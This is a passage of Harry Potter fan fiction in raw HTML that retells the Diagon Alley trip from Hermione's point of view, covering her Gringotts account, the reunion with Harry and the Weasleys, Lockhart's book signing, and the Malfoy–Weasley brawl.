came.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It had been a\nweek and a half and still no owl from Rom.&nbsp;\nNothing indicating whether or not Harry was okay or if he was with the\nWeasleys.&nbsp; Had something gone wrong?&nbsp; She had no way of knowing.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As the Grangers\nrode the train into London to go to Diagon Alley, Hermione&#8217;s mind was\nracing.&nbsp; What was she going to do\nnow?&nbsp; She knew the first thing she should\ndo was buy some more wizarding stamps.&nbsp;\nIf she was going to keep in contact with Ron, there was no way it could\nbe done with that owl of his.&nbsp; Earlier\nthat week, Hermione had emptied all of the funds out of her muggle bank\naccount.&nbsp; Her parents had agreed that it\nwas a good idea to put her savings in the wizard&#8217;s bank, Gringotts.&nbsp; This way she could have more control over her\nspending money since she spent the majority of her life in the wizarding world\nnow.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione had read\nall about the wizarding bank after her first visit the previous summer.&nbsp; It was run by goblins and was actually the\nlargest all goblin enterprise in all of Britain.&nbsp; Patrons could manage their accounts using\nspecial Gringotts owls.&nbsp; You could send\nor request money from your account using the enchanted envelops.&nbsp; No stamps needed.&nbsp; Once the envelope was sealed, an owl would\narrive to retrieve it, and according to one Gringotts spokes-goblin, &#8220;No force\nin nature or in magic would be able to intercept it.&#8221;&nbsp; This way, she wouldn&#8217;t have to worry so much\nif she ran out of wizarding money.&nbsp; She\ncould just send for more.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Just as they had\ndone last summer, the Grangers took the underground to the Tottenham Court Rd.\nstation.&nbsp; Then from there it was a short\nwalk down Charing Cross Road to reach the entrance to Diagon Alley, a pub\ncalled Leaky Cauldron.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mr. Granger never\nseemed to care much for the Leaky Cauldron but tolerated it as the only way to\nget to and from the materials needed by his daughter to get a first class\nwizarding education.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But I&#8217;d never\nwant to have a drink here, that&#8217;s for sure,&#8221; he said huffily as they passed\nthrough the pub to the back alley.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione pulled\nout her wand.&nbsp; She hadn&#8217;t been able to\nuse it all summer and just holding it now seemed to make her entire body\ntingle.&nbsp; She tapped her wand emphatically\non the trashcan and then started counting bricks, three up and two to the\nright.&nbsp; She tapped her wand against the\ndesignated brick and immediately it began to wriggle.&nbsp; Soon, a large archway had opened up in front\nof them and the three Grangers were walking onto the cobblestone street of\nDiagon Alley.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That will never\ncease to amaze me,&#8221; Mrs. Granger said in awe as she watched the archway close\nbehind them.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione twirled\nher wand expertly in her hand. &#8220;No, it doesn&#8217;t get old, does it?&nbsp; Well let&#8217;s hurry up and get to Gringotts, I\nwant to open up my account and then&#8230; I have a couple of things to do before we\nget my books.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mrs. Granger eyed\nher curiously. &#8220;You want to get something <i style="mso-bidi-font-style:normal">before</i>\nwe get your books.&nbsp; It must be <i style="mso-bidi-font-style:normal">really</i> important.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\npretended she didn&#8217;t here the quip.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As they made\nthere way to the bank, Hermione saw what looked like a owl-post stand.&nbsp; She could probably buy stamps there right\nafter she was done in the bank.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They climbed the\nlarge marble steps that led to Gringotts and a short but sinister looking\ngoblin guard bowed them in.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How anything can\nbe that polite and still look that mean is beyond me,&#8221; Mr. Granger muttered.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, but it\nmakes you think twice about robbing them, now doesn&#8217;t it,&#8221; Mrs. Granger added\nknowingly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Twice, thrice,\nand four times over, believe me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They made their\nway to an attendant at the long counter. &#8220;May I help you?&#8221; he snarled.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, I&#8217;d like to\nopen an account.&#8221; Hermione said handing over the bag that contained all of her\nmuggle money.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The clerk&#8217;s\nexpression turned to what must have been the goblin version of a smile. &#8220;Ah we\nlove to gain new customers.&#8221; He handed Hermione a form. &#8220;Just fill this\nout.&nbsp; No monthly fees for underage\nwizards and witches and unlimited owl correspondences; a bargain.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Indeed,&#8221; Mr.\nGranger agreed though it was obvious he had no idea what the goblin meant.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The clerk was\ncounting Hermione&#8217;s money. &#8220;A nice little savings for such a young witch.&nbsp; This comes to 213 galleons, 11 sickles, 4\nknuts.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\nbeamed.&nbsp; She&#8217;d been saving money ever\nsince she&#8217;d started receiving an allowance at age 8 and her father was very\ngenerous with monetary bonuses when it came to good grades. &#8220;When a high mark\nis earned, it&#8217;s worth its weight in gold,&#8221; he&#8217;d always tell her.&nbsp; Since Hermione rarely spent any money, she already\nhad a hefty savings.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Can I have 10\ngalleons of that now, please,&#8221; she asked politely.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The goblin nodded\nand handed her a bag and a small book. &#8220;This is your ledger.&nbsp; It will be magically updated every time we\nreceive or take money on your behalf.&nbsp;\nSee.&#8221; He pointed to the first page of the open book it already had two\nlines in it.&nbsp; One for her initial deposit\nof 213 galleons 11 sickles and 4 knuts and another for her withdrawal of 10\ngalleons.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Also take\nthese,&#8221; He handed her a stack of green envelopes. &#8220;Use only these special\nGringotts envelopes to send money or request a withdrawal.&nbsp; Of course when you are here in Diagon Alley\nyou can simply come to the bank and ride down to your vault.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione nodded\nquickly at this information and then looked up at her parents. &#8220;I&#8217;ll be right\nback.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Where are you\ngoing?&#8221; Mr. Granger asked in alarm.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I just have to\nget something real quick.&#8221; She said, thinking about the owl-post stand she&#8217;d\nseen earlier.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But all we have\nto do is exchange our money&#8230;&#8221; Her mother called after her, but Hermione was\nalready through the doors.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione made her\nway out of Gringotts and was about to race down the stairs when she saw\nsomething very familiar.&nbsp; It was a giant\nman, easily head and shoulders taller than everyone else.&nbsp; He had wild, tangled black hair and a thick\nbeard and wore a large overcoat.&nbsp; It\ncould only be Hagrid.&nbsp; And with him&#8230; he\nseemed to be covered with soot, and his glasses were broken, but it was\nunmistakably Harry Potter!</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry!&#8221; she\ncalled out and he looked up and saw her.&nbsp;\nIt really was him. &#8220;Harry over here.&#8221;&nbsp;\nShe was so excited to see him that she tore down the stairs to greet him\nand was about to fling her arms around him, but then thought better of it.&nbsp; She didn&#8217;t want to make a scene, especially\nin front of Hagrid.&nbsp; But she was still grinning\nfrom ear to ear.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry!&nbsp; What happened to your glasses?&#8221; She looked up\nat Hagrid and realized she hadn&#8217;t even greeted him. &#8220;Hello Hagrid.&nbsp; Ooo, it&#8217;s wonderful to see you two\nagain.&nbsp; Are you coming into Gringotts,\nHarry?&#8221; She realized she was rambling even worse than usual, but for once she\ndidn&#8217;t care.&nbsp; It was Harry and he was\nused to it.&nbsp; She had a hundred more\nquestions to ask him, like how he had ended up with Hagrid, and why he hadn&#8217;t\nwritten her all summer.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But Harry, true\nto form, seemed extremely calm. &#8220;As soon as I&#8217;ve found the Weasleys,&#8221; he said\ncutting off her tirade of questions.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Just as she was\nabout to suggest they go look for them, Hagrid pointed into the crowd and she\ncould see Ron with his brothers and father running down the street.&nbsp; There was a sudden rush of Weasleys and for a\nmoment there was a bit of chaos as Mrs. Weasley and what had to be Ron&#8217;s little\nsister joined them and everyone was checking to see if Harry was okay.&nbsp; Hermione had the distinct feeling that she&#8217;d\nmissed out on something and that Harry had recently gotten himself into some\nsort of trouble but she couldn&#8217;t get in a word edgewise to ask.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;That&#8217;s alright,&#8221; </i>she thought contently.\n<i style="mso-bidi-font-style:normal">&#8220;Harry&#8217;s okay and everything&#8217;s back to\nnormal.&nbsp; Finally I can breathe easily.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They all entered\nthe bank again, Harry going on about seeing Mr. Malfoy in a place called Borgin\nand Burkes, a shop on Knockturn Alley, which Hermione knew nothing about.</p>\n\n<p class="MsoNormal">Mr. and Mrs. Granger were still standing at the\ncounter.&nbsp; Apparently the goblin clerk had\nto go back to the vaults to retrieve more wizard money and they were waiting\nfor him to return.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Mom, Dad, let me\nintroduce you to everyone.&nbsp; This is Harry\nand Ron, Ron&#8217;s brothers Fred, no wait he&#8217;s Fred, and that&#8217;s George and Percy,\nand his mother and father, Mr. and Mrs. Weasley.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They shook hands\nall around but when they reached Mr. Weasley he seamed to realize something.\n&#8220;But you&#8217;re muggles!&nbsp; We must have a\ndrink,&#8221; he said excitedly. &#8220;What&#8217;s that you&#8217;ve got there?&nbsp; Oh, you&#8217;re changing muggle money, Molly\nlook!&#8221; he pointed wildly at them.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron seemed to be\ndragging his father away to another clerk, a look of embarrassment on his\nface.&nbsp; At the same time, the Granger&#8217;s\nclerk returned with their galleons.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That Arthur chap\nwas a bit high strung about a few pounds,&#8221; Mr. Granger said. &#8220;Acted as if he&#8217;d\nnever seen money before.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He hasn&#8217;t, Dad,&#8221;\nHermione reminded him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Still, did you\nsee me going on like that when I saw a galleon?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Not everyone can\nbe as even tempered as you, Dad,&#8221; Hermione grumbled. &#8220;Just try to be nice,\nwould you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What are you\nimplying?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mrs. Granger\njumped in. &#8220;She&#8217;s implying that you should at least get to know the Weasleys\nbefore you immediately judge them like you do with everyone, <i style="mso-bidi-font-style:normal">dear.</i>&#8221; The way Hermione&#8217;s mother said\n&#8220;dear&#8221; seemed to put the finally point on the subject and Mr. Granger clammed\nup.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A few minutes\nlater, Harry and the Weasley family reappeared and they stepped outside the\nbank.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Molly, why don&#8217;t\nyou take Ginny shopping, I want to treat the Grangers here to a drink at the\nLeaky Caldron.&nbsp; We can catch up later.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mr. Granger had a\nlook of utter terror in his eyes at the mention of the pub, but Mrs. Granger\nanswered for them both. &#8220;That would be delightful.&#8221; She handed another bag of\ngalleons to her daughter. &#8220;Here Hermione, you go off with your friends, we&#8217;ll\nmeet you later.&nbsp; Where should we meet?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;ll all meet\nup at Flourish and Blotts in an hour to buy your school books.&#8221; Mrs. Weasley\nsuggested and everyone agreed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione, Harry\nand Ron started down the street alone.&nbsp;\nFinally Hermione had a chance to ask the questions that had been burning\na hole inside her for almost a half hour.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, how did\nyou&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But Harry didn&#8217;t\nhear her. &#8220;Let&#8217;s get some ice cream; what do you say?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Absolutely, I&#8217;m\nstarving,&#8221; Ron answered almost drooling.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Not surprising,&#8221;\nHermione huffed as they headed for Florean Fortescue\'s Ice Cream Parlor.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As Harry bough\nthe three of them ice cream she tried again. &#8220;Harry what happened this\nsummer?&nbsp; Ron, why didn&#8217;t you write me\nback to let me know that Harry was okay?&nbsp;\nI was so worried.&nbsp; What&#8217;s been\ngoing on?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Same ol&#8217;\nHermione,&#8221; Ron said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Same ol&#8217;\nHermione,&#8221; Harry agreed and they both laughed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s not funny!&#8221;\nHermione said in exasperation.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sorry,&#8221; Ron\nstopped laughing. &#8220;I did write you.&nbsp; The\nfact that Erroll hasn&#8217;t return means that he&#8217;s either lost of collapsed\nsomewhere.&nbsp; Useless owl.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why don&#8217;t you\nget a new one?&#8221; Hermione asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oy, what a great\nidea,&#8221; Ron said snidely. &#8220;Why don&#8217;t you buy us one?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry cut them\noff. &#8220;The reason why you didn&#8217;t hear from me all summer Hermione is because a\nhouse elf named Dobby was cutting off my communication.&nbsp; He was trying to stop me from going back to\nHogwarts.&nbsp; He&#8217;s the reason why I got that\nwarning from the ministry of magic.&nbsp; He\nhovered a pudding in my aunt and uncles kitchen, and then he smashed it on the\nfloor.&nbsp; It was because of him that my\nuncle looked me in my room for the rest of the summer.&nbsp; I&#8217;d still be there, half starved, if it\nwasn&#8217;t for Ron rescuing me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gasped.\n&#8220;What?&nbsp; Why would he do that?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t\nknow.&nbsp; He said that I&#8217;d be in grave\ndanger if I went back to Hogwarts.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, there&#8217;s a\nshocker, Harry Potter in grave danger,&#8221; Hermione said blandly.&nbsp; The happiness she&#8217;d felt earlier about seeing\nher friend was beginning to dissipate. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;See that&#8217;s what\nI said,&#8221; Ron added cheerfully, mistaking Hermione&#8217;s sarcasm for ambivalence.\n&#8220;Harry&#8217;s been in loads of danger and scaved off just fine.&nbsp; Besides who&#8217;s to say this Dobby chap is even\ntelling the truth.&nbsp; I think it&#8217;s a\ntrick.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione waved a\nhand wildly in front of his face. &#8220;Ron, this is Harry we&#8217;re talking about.&nbsp; If there&#8217;s even a chance that he&#8217;s in trouble\nwe can&#8217;t ignore it.&nbsp; Remember what happened\nlast time we did that?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;All I&#8217;m saying\nis we can&#8217;t get off on a fuss for nothing,&#8221; Ron said in exasperation.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And all I&#8217;m\nsaying is that we can&#8217;t ignore such an obvious warning.&nbsp; If Harry&#8217;s in danger again then we need to\nact now, while we can.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You two&#8230;&#8221; Harry\nsaid, &#8220;Can&#8217;t you at least save it until we&#8217;re at school.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ll never\nunderstand how you can be so level?&#8221; Hermione sighed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Easy, you&#8217;re\nalways wound tight and Ron&#8217;s always too laid back.&nbsp; One of us has to be the level one,&#8221; Harry\ninformed her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione laughed\ndespite herself.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; An hour later,\nafter walking all around Diagon Alley, the trio made their way to Flourish and\nBlotts.&nbsp; There was an unusually large\ncrowd gathered outside for a Wednesday afternoon and they soon found out why.&nbsp; To Hermione&#8217;s utter surprise and delight, a\nsign in the bookstore window told that Gilderoy Lockhart was doing a book\nsigning at that very moment.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione almost\nexploded with excitement. &#8220;We can actually meet him!&#8221; she squealed.&nbsp; She noticed the boys giving her quizzical\nbooks. &#8220;I mean, he&#8217;s written practically the whole book list,&#8221; she rationalized\ncalmly. She didn&#8217;t want them to think she was an obsessed fan like the dozens\nof women crowding the door&#8230; but she really wanted the chance to meet Lockhart,\neven just once.&nbsp; The girls at Hogwarts\nwould be so jealous.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Look, our\nparents are already in line,&#8221; Hermione said as they squeezed their way into the\nbookstore. &#8220;And they&#8217;re at the front; let&#8217;s join them.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry and Ron\ndidn&#8217;t seem as enthusiastic as she was, but Hermione didn&#8217;t care.&nbsp; After they all grabbed their one non Lockhart\ntextbook, they joined the rest of the Weasleys and Grangers in line.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was\nsurprised to see her father smiling. &#8220;How was your drink with Mr. Weasley?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Fascinating\nchap.&nbsp; Did you know he works at the\nMinistry of Magic in the Misuse of Muggle Artifacts office?&nbsp; It was very informative, indeed.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione shook\nher head, but said nothing.&nbsp; Gilderoy\nLockhart was in view now and she&#8217;d forgotten everything else. &#8220;Look mom, it&#8217;s\nhim!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mrs. Granger\nlooked up. &#8220;Oh my.&#8221; Her faced flushed. &#8220;Well, I guess I can see what all the\nfuss is about now.&nbsp; And you say all your\ncourse books this term are by him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione nodded.\n&#8220;He&#8217;s the most famous, most amazing wizard ever.&#8221; She thought about this for a\nmoment.&nbsp; Perhaps that wasn&#8217;t such a true\nstatement considering she knew one of the most famous wizards in the\nworld.&nbsp; He was standing two feet in front\nof her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Speaking of Harry\nPotter.&nbsp; It seemed as if Lockhart had\nnoticed him as well because he suddenly exclaimed, &#8220;It can&#8217;t be Harry Potter!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione watched\nin bemusement as Lockhart dragged Harry to the front of the crowd and dozens of\npeople started taking pictures. &#8220;He can&#8217;t be loving this,&#8221; she said.&nbsp; &#8220;I know Harry, he hates being in the\nspotlight.&nbsp; Look at him; he&#8217;s red as a\nbeet.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Can you believe\nhim?&#8221; Ron had pushed his way back to meet her. &#8220;He only grabbed Harry to get\nhis face on the front page of the Daily Prophet.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh Ron, Gilderoy\nLockhart doesn&#8217;t need Harry to get his face in the Daily Prophet.&nbsp; He&#8217;s famous enough on his own.&nbsp; This whole crowd is here for him, remember?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well I bet if\nthey knew Harry would be here, there&#8217;d be even more people,&#8221; said a small voice\nbehind Ron.&nbsp; It was the youngest Weasley,\nGinny.&nbsp; There was something very familiar\nin her eyes.&nbsp; Hermione recognized it\nimmediately.</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Little Ginny&#8217;s got a crush on Harry,&#8221;</i>\nshe thought to herself. <i style="mso-bidi-font-style:normal">&#8220;Aww, how cute.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Gilderoy Lockhart\nwas trying to gain the crowd&#8217;s attention. &#8220;What an extraordinary moment this\nis.&nbsp; The perfect moment for me to make a\nlittle announcement I&#8217;ve been sitting on for some time.&#8221;&nbsp; There was quiet now. &#8220;When young Harry here\nstepped into Flourish and Blotts today, he only wanted to buy my autobiography,\nwhich I shall be happy to present him now free of charge.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Lucky,&#8221; Hermione\nmuttered. &#8220;He&#8217;s going to get a personally autographed autobiography.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He had no idea\nthat he would shortly be getting much much more than my book &#8216;Magical Me.&#8217; He\nand his schoolmates will in fact be getting the real magical me.&nbsp; Yes, Ladies and Gentlemen, I have great\npleasure and pride in announcing that this September, I will be taking up the\npost of Defense Against the Dark Arts teacher at Hogwarts School of Witchcraft\nand Wizardry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Did you here\nthat,&#8221; Hermione squealed despite herself. &#8220;Did you <i style="mso-bidi-font-style:\nnormal">hear </i>that!&nbsp; He&#8217;s coming to\nHogwarts, he&#8217;s coming to <i style="mso-bidi-font-style:normal">our</i>\nschool!&nbsp; Oh I can&#8217;t wait to tell Anne;\nshe&#8217;ll be so jealous.&nbsp; She thinks she&#8217;s\nspecial because Lockhart did a lecture at her school.&nbsp; Well wait &#8216;til she hears about this!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Calm down, would\nyou?&#8221; Ron said as they each grabbed a prepackaged stack of Lockhart&#8217;s\ncollective works and made their way over to where Harry now stood with Ginny\nand&#8230;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Malfoy,&#8221;\nHermione snarled. &#8220;What&#8217;s he doing here?&nbsp;\nCan&#8217;t we go anywhere without seeing him?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron grumbled.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Now Ron, don&#8217;t get\nin a fight with him,&#8221; Hermione warned. &#8220;You&#8217;ll just get into trouble.&#8221;</p>\n\n<p class="MsoNormal">But Ron was listening and Malfoy had already started in on\nhim.&nbsp; It wasn&#8217;t long before both she and\nHarry had to hold him back.</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why does Malfoy insist on taunting\nRon?&nbsp; Doesn&#8217;t he realize Ron&#8217;s bigger\nthan him?&#8221;</i> To her relief, Mr. Weasley showed up. <i style="mso-bidi-font-style:\nnormal">&#8220;Good he&#8217;ll put a stop to this.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ve never seen\nanything like it in my life,&#8221; Mrs. Granger was shaking.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Books flying\neverywhere.&nbsp; People stampeding all over\nthe place.&#8221; Mr. Granger stammered.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I only just got\nout of the way,&#8221; Hermione said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It had happened,\nin a flash.&nbsp; One moment, Mr. Weasley was\ntrying to steer them out of the bookstore.&nbsp;\nThe next moment, Malfoy&#8230; not Draco, but Mr. Malfoy himself, had arrived.&nbsp; Hermione only had to listen to him for a few\nseconds to know where his son got his obnoxious personality from.&nbsp; And then, it was as if she was watching Draco\nand Ron.&nbsp; Mr. Malfoy and Mr. Weasley\nregressed to school age boys and soon they were using the bookstore as their\nown personal boxing ring.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;If it wasn&#8217;t for\nHagrid showing up when he did,&#8221; Hermione said breathlessly. &#8220;They&#8217;d have torn\ndown the whole store.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m not sure\nabout that Arthur Weasley chap,&#8221; Hermione&#8217;s father said quietly.&nbsp; They were walking only a few paces behind\nHarry and the Weasley clan. &#8220;A trifle unhinged if you ask me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Dad, a few\nminutes ago, you said he was fascinating,&#8221; Hermione reminded him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well I have the\nright to change my mind.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And I&#8217;m sure\nyou&#8217;ll be doing it again in a few minutes,&#8221; Mrs. Granger said with a half sigh,\nhalf grin. &#8220;If you want my opinion, this whole thing was started by those\nMalfoys.&nbsp; There&#8217;s just something about\nthem that didn&#8217;t seat well with me.&#8221;</p>\n\n<p 